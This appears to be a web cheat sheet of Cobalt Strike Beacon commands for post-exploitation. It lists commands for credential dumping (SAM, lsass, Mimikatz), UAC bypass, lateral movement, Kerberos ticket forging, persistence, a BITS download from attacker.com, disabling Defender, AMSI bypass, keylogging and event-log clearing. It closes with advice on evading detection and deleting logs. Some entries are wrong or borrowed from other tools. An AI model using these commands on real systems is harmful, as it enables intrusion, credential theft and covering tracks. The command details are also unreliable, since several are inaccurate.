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Cobalt Strike Beacon

Cobalt Strike Beacon is the most widely-used commercial C2 framework. It provides sophisticated post-exploitation capabilities for Windows/Linux with multiple communication protocols.

Basic Beacon Commands

CommandDescription
sleep <seconds>Set beacon callback delay (default 60s)
exitExit interactive shell, beacon stays alive
jobsList running background jobs
kill <pid>Terminate process
psList processes
cd <path>Change directory
pwdPrint working directory

Process Management

# List all processes
beacon > ps

# Kill process
beacon > kill 1234

# Spawn process with output capture
beacon > run whoami

# Execute shellcode in process
beacon > inject 1234 x64 /tmp/shellcode.bin

# Create suspended process for injection
beacon > spawnas DOMAIN\user password cmd.exe

# Create process in alternate session
beacon > spawn x64 c:\windows\system32\rundll32.exe

Session/Listener Management

# View active beacons
beacon > sessions

# Connect to specific beacon
interact <beacon_id>

# Rename beacon
beacon > rename "Web Server"

# Sleep callback interval
beacon > sleep 60
beacon > sleep 0  # Infinite (manual callback only)

# Note on beacon
beacon > note "Domain controller, critical system"

File Operations

# Download file (staged)
beacon > download C:\Windows\System32\config\SAM /tmp/SAM

# Upload file
beacon > upload /tmp/payload.exe C:\Windows\Temp\update.exe

# List directory
beacon > ls C:\
beacon > ls -la C:\Users\Administrator\

# Create directory
beacon > mkdir C:\Temp\work

# Copy file
beacon > cp source.txt destination.txt

# Move/rename file
beacon > mv oldname.txt newname.txt

# Delete file
beacon > rm C:\Windows\Temp\payload.exe

Command Execution

# Execute shell command (PowerShell)
beacon > powershell Get-LocalUser

# Execute cmd.exe command
beacon > cmd whoami /all

# Execute with output
beacon > execute whoami

# Run executable with args
beacon > run C:\Windows\System32\whoami.exe

# Execute .NET assembly
beacon > execute-assembly /tmp/Seatbelt.exe -group=system

# Inline PowerShell execution
beacon > powerpick Get-AdComputer -Filter *

# Python execution
beacon > python import os; print(os.getcwd())

Windows Credential Dumping

# LSA Secrets
beacon > execute powershell.exe -NoP -C "Get-WmiObject -Class Win32_UserAccount"

# Registry dump (SAM/SYSTEM)
beacon > download C:\Windows\System32\config\SAM
beacon > download C:\Windows\System32\config\SYSTEM

# Process memory (lsass)
beacon > steal_token 672  # SYSTEM token
beacon > inject 672 x64 /tmp/meterpreter.bin

# Mimikatz (in-process)
beacon > mimikatz !privilege::debug !token::elevate !lsadump::sam

# Vault credential dumping
beacon > execute powershell.exe -NoP -C "Get-StoredCredential"

Privilege Escalation

# UAC bypass (various methods)
beacon > elevate uac-token-duplication
beacon > elevate uac-schtasks
beacon > elevate uac-eventvwr

# Direct privilege escalation exploits
beacon > exploit cve-2021-1732  # Windows Win32k Elevation

# Print spooler exploitation (PrintNightmare)
beacon > runasadmin powershell.exe -NoP -C "[...]PrintNightmare payload[...]"

# Token impersonation
beacon > steal_token 1234
beacon > impersonate DOMAIN\Administrator
beacon > rev2self  # Revert to original token

Lateral Movement

# Pass-the-Hash (PTH)
beacon > pth DOMAIN\Administrator ntlmhash

# Pass-the-Ticket
beacon > kerberoast /format:hashcat /outfile:hashes.txt

# PsExec
beacon > psexec DOMAIN\Administrator hash \\target.example.com cmd.exe

# WMI lateral movement
beacon > wmi-execute \\target.example.com "whoami" Administrator hash

# Port forwarding
beacon > rportfwd 3389 192.168.1.100 3389  # Forward 3389 to target

# SOCKS proxy
beacon > socks 9050
# Use local proxy: proxychains <command>

Network Reconnaissance

# Network interfaces
beacon > ifconfig

# Routing table
beacon > route

# ARP table
beacon > arp

# Netstat
beacon > netstat

# DNS query
beacon > nslookup example.com

# Ping
beacon > ping 192.168.1.1

# Tracert
beacon > tracert example.com

Persistence Mechanisms

# Scheduled task
beacon > powershell.exe -NoP -C "Register-ScheduledTask -TaskName 'Update' -Trigger (New-ScheduledTaskTrigger -AtStartup) -Action (New-ScheduledTaskAction -Execute 'C:\Temp\beacon.exe')"

# Registry Run key
beacon > powershell.exe -NoP -C "Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'Update' -Value 'C:\Temp\beacon.exe'"

# WMI event subscription
beacon > powershell.exe -NoP -C "[...]WMI event binding payload[...]"

# Shortcut hijacking
beacon > powershell.exe -NoP -C "[...]LNK file modification[...]"

# BITS job persistence
beacon > powershell.exe -NoP -C "Start-BitsTransfer -Source 'http://attacker.com/beacon.exe' -Destination 'C:\Temp\beacon.exe' -Suspended"

Defense Evasion

# Process injection
beacon > inject 1234 x64 /tmp/payload.bin

# Sleep obfuscation
beacon > sleep 3600  # Callback every hour

# Parent process spoofing
beacon > spawnto C:\Windows\System32\rundll32.exe

# API call obfuscation
beacon > powershell.exe -NoP -C "Set-Alias -Name GCI -Value Get-ChildItem"

# Disable Windows Defender
beacon > powershell.exe -NoP -C "Disable-WindowsDefenderAuditPolicy"

# AMSI bypass
beacon > powershell.exe -NoP -C "[System.Reflection.Assembly]::LoadWithPartialName('System.Core') | Out-Null..."

Data Exfiltration

# Screenshot
beacon > screenshot

# Keystroke logging
beacon > keylogger start
beacon > keylogger stop
beacon > keylogger dump

# Clipboard capture
beacon > clipboard_capture

# Web camera access
beacon > webcam_snap

# Browser data extraction
beacon > execute powershell.exe -NoP -C "[...]Chrome/Firefox credential stealer[...]"

# Slow exfil (stealth)
beacon > download C:\sensitive\file.docx /tmp/  # Default is ~512KB chunks

Kerberos Attacks

# Kerberoast
beacon > execute-assembly /tmp/Rubeus.exe kerberoast /format:hashcat

# AS-REP roasting
beacon > execute-assembly /tmp/Rubeus.exe asreproast /format:hashcat

# Golden ticket
beacon > execute-assembly /tmp/Rubeus.exe golden /user:Administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-xxx /ticket:base64_ticket

# Silver ticket
beacon > execute-assembly /tmp/Rubeus.exe silver /user:Administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-xxx /service:cifs/target.local

Reconnaissance

# System information
beacon > systeminfo

# Installed patches
beacon > execute powershell.exe -NoP -C "Get-Hotfix | Select HotFixID"

# User enumeration
beacon > net user
beacon > net group "Domain Admins" /domain

# Group membership
beacon > execute whoami /groups

# Domain enumeration (BloodHound)
beacon > execute-assembly /tmp/SharpHound.exe -c All

# Share enumeration
beacon > net view \\target.example.com
beacon > net view \\target.example.com\share1

Cleanup Operations

# Clear Event Log
beacon > shell wevtutil cl System
beacon > shell wevtutil cl Security
beacon > shell wevtutil cl Application

# Delete file
beacon > rm C:\Temp\beacon.exe

# Disable UAC for next session
beacon > powershell.exe -NoP -C "New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0"

# Kill beacon process
beacon > exit  # Graceful exit

# Uninstall beacon completely
# (Requires removing all persistence mechanisms manually)

Exit Operations

# Exit beacon (keep running)
beacon > exit

# Interactive shell exit
shell > exit

# Job termination
beacon > jobs <job_id>
beacon > jobkill <job_id>

Best Practices

  • Always use sleep intervals to avoid detection
  • Implement proper OPSEC (rename beacons, rotate C2 infra)
  • Clean up logs after pivoting
  • Use encrypted channels (HTTPS/mTLS)
  • Verify target before executing irreversible operations
  • Monitor for EDR/AV detection signals
  • Rotate shellcode/payload signatures

Resources